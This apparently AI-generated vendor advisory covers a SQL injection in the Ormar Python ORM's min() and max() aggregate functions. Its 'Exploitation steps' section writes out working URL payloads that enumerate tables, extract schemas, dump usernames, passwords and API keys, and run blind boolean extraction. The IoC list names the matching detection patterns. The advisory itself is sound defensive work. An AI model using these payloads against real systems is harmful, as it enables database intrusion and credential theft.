CVE-2026-26198: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-26198 is a SQL injection vulnerability in Ormar, an async mini ORM for Python, affecting versions 0.9.9 through 0.22.0. The flaw allows unauthenticated remote attackers to inject arbitrary SQL via the min() and max() aggregate functions in the QuerySet class, which pass user-supplied column names directly into sqlalchemy.text() without validation. The vulnerability was published on February 24, 2026, with a patch released in version 0.23.0 on February 22, 2026. It carries a CVSS v3.1 base score of 7.5 (High) per NVD, and 9.8 (Critical) per the GitHub Security Advisory (GitHub Advisory, Red Hat CVE).

Technical details

The root cause (CWE-89: SQL Injection) lies in SelectAction.get_text_clause() in select_action.py (lines 41–43), which constructs a raw SQL text clause by embedding self.field_name — derived directly from user input — into sqlalchemy.text() without any sanitization. The _query_aggr_function() method in queryset.py applies an is_numeric type check only for sum() and avg(), leaving min() and max() entirely unprotected. An attacker can supply a crafted subquery string as the column parameter to any API endpoint that calls Model.objects.min() or Model.objects.max(), causing the database engine to execute arbitrary SQL. The vulnerability was introduced in commit ff9d412 (March 12, 2021) with version 0.9.9 and remained unmodified through 0.22.0. A public PoC and detailed technical write-up are available (GitHub Advisory, PoC Repository).

Impact

Successful exploitation allows an unauthenticated attacker to read the entire database contents, including tables completely unrelated to the queried model (e.g., credential stores, API key tables). The attack requires no authentication and can be executed via simple HTTP GET requests to any public API endpoint that exposes min() or max() aggregate functionality. The vulnerability is confirmed to work against SQLite, PostgreSQL, and MySQL backends, and supports both direct data exfiltration and blind boolean-based extraction techniques, enabling full credential and secret compromise (GitHub Advisory).

Exploitability

Multiple proof-of-concept exploits are publicly available, including a detailed PoC on GitHub (blackhatlegend/CVE-2026-26198) and a full attack demonstration in the official security advisory. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation. The EPSS score is approximately 0.045% (0.000450), indicating a currently low but non-zero probability of exploitation. The vulnerability is not listed in the CISA KEV catalog. No specific threat actor attribution has been reported (GitHub Advisory, PoC Repository).

Exploitation steps

  1. Reconnaissance: Identify applications using Ormar versions 0.9.9–0.22.0 that expose API endpoints accepting user-controlled column names for aggregate queries (e.g., GET /items/stats?metric=max&column=price).
  2. Confirm injection: Send a crafted arithmetic expression as the column parameter: GET /items/stats?metric=max&column=1+1. If the response returns {"result": 2}, SQL injection is confirmed.
  3. Enumerate database tables: Inject a subquery to list all tables: GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'). The response reveals all table names, including hidden ones.
  4. Extract target schema: Retrieve the schema of a sensitive table: GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users'). This returns the full CREATE TABLE statement with column names.
  5. Dump credentials: Exfiltrate all data in a single query: GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users).
  6. Blind extraction (if needed): If results are not directly returned, use boolean-based blind injection with binary search: GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END. Repeat for each character position (~7 requests per character).
  7. Extract API keys: GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root') to retrieve production secrets (GitHub Advisory).

Indicators of compromise

  • Network: Unusual HTTP GET requests to aggregate/stats API endpoints with column parameters containing SQL syntax (e.g., parentheses, SELECT, GROUP_CONCAT, sqlite_master, CASE WHEN, UNICODE, SUBSTR); high volume of similar requests with incrementing numeric parameters (indicative of blind extraction).
  • Logs: Web server access logs showing requests with URL-encoded SQL subqueries in query string parameters (e.g., %28SELECT, %27table%27); repeated requests to the same endpoint with slight parameter variations in rapid succession.
  • Application: Database query logs showing SELECT max(<subquery>) or SELECT min(<subquery>) patterns where the argument is not a simple column name; QueryDefinitionError exceptions in application logs (post-patch, indicating attempted exploitation against patched systems).
  • Database: Queries referencing system tables such as sqlite_master, information_schema.tables, or pg_catalog.pg_tables originating from the application's database user account (GitHub Advisory).

Mitigation and workarounds

The primary remediation is to upgrade Ormar to version 0.23.0 or later, which fixes the vulnerability by validating that all column names passed to aggregate functions exist in the target model's defined fields before constructing the SQL expression (Ormar Release, Patch Commit). If immediate patching is not possible, restrict or remove any API endpoints that pass user-controlled input to Model.objects.min() or Model.objects.max(), and implement an allowlist of valid column names at the application layer. Additionally, apply database-level access controls to limit the database user's privileges to only the tables and operations required by the application.

Community reactions

The vulnerability received coverage from security news outlets including SecurityOnline.info, which described it as a "critical SQL injection vulnerability" in the Ormar Python library, and The Hacker Wire, which published a dedicated write-up on the ORM injection via aggregate queries. The vulnerability was also mentioned in The Hacker News' weekly recap. The ormar maintainer credited researcher @AAtomical for responsible disclosure in the release notes and advisory. Community discussion was observed on Mastodon and Bluesky, with security researchers highlighting the risk of natural API design patterns (as documented in ormar's own docs) inadvertently exposing the injection surface (SecurityOnline, The Hacker Wire, Ormar Release).

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

bookworm

ormar

Affected

sid

ormar: 0.23.0-1

Fixed

Ubuntu

Unknown

devel

ormar

Unknown

noble

ormar

Unknown

noble (esm-apps)

ormar

Unknown

resolute

ormar

Unknown

resolute (esm-apps)

ormar

Unknown

Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management